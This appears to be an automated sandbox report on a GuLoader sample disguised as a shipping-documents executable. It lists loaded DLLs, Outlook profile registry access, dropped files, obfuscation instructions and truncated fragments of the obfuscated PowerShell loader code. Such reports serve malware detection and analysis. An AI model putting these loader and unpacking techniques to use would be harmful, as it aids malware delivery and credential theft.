Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: version.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles Jump to behavior
Source: Shipping documents 000022999878999800009999.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000002.00000002.2768740707.00000000005FA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: qm.Core.pdbE source: powershell.exe, 00000002.00000002.2775532254.0000000006CDD000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbhx source: powershell.exe, 00000002.00000002.2779696439.0000000007FFE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000002.00000002.2779696439.0000000007FA0000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000008.00000002.3376516352.0000000004687000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2780799795.00000000094D7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer((Freethinker $Fieldmouse $Maalscorers), (Waxen @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Bobles178 = [AppDomain]::CurrentDomain.GetAssemblies()$global
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Trachinus)), $Tenty132).DefineDynamicModule($Flugtskydningsbaner, $false).DefineType($Reconvoke, $Generalprverne, [System.MulticastDel
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0424A4ED pushad ; iretd 2_2_0424A53B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0424E14C pushfd ; iretd 2_2_0424E155
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0424CC1F pushfd ; iretd 2_2_0424CC61
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0424CA88 push C807E588h; ret 2_2_0424CA8D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_042415CC push ebx; iretd 2_2_042415DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_04241D1C pushad ; retn 006Bh 2_2_04241D92
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_04241DA7 pushad ; retn 006Bh 2_2_04241DB2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_04241DB7 pushad ; retn 006Bh 2_2_04241DB2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_04241DBC pushad ; retn 006Bh 2_2_04241DC2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_04241AAC push ss; retf 2_2_04241AC3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_04241B64 push eax; retf 2_2_04241B73
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_04241B5C push eax; retf 2_2_04241B63
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF2525 push ebp; retf 2_2_06EF252E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF2538 push esp; retf 2_2_06EF272A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF236C push ebx; retf 2_2_06EF237A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF2160 push ebx; retf 2_2_06EF217A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EFE174 push 84E80818h; iretd 2_2_06EFE179
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF0EF9 push eax; retf 2_2_06EF0EFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF2E20 push esp; retf 2_2_06EF305A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EFEDA8 push edx; ret 2_2_06EFEDAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF2AD1 push esp; retf 2_2_06EF2AD2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF0850 push ecx; retf 2_2_06EF09C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF2929 push ebp; retf 2_2_06EF292A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF3169 push edi; retf 2_2_06EF316A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF1EC4 push esi; retf 2_2_06EF1ED2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_06EF1E79 push edx; retf 2_2_06EF1E7A
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Code function: 8_2_00830C6D push edi; retf 8_2_00830C7A
Drops PE files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe Jump to dropped file
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File created: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll Jump to dropped file
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
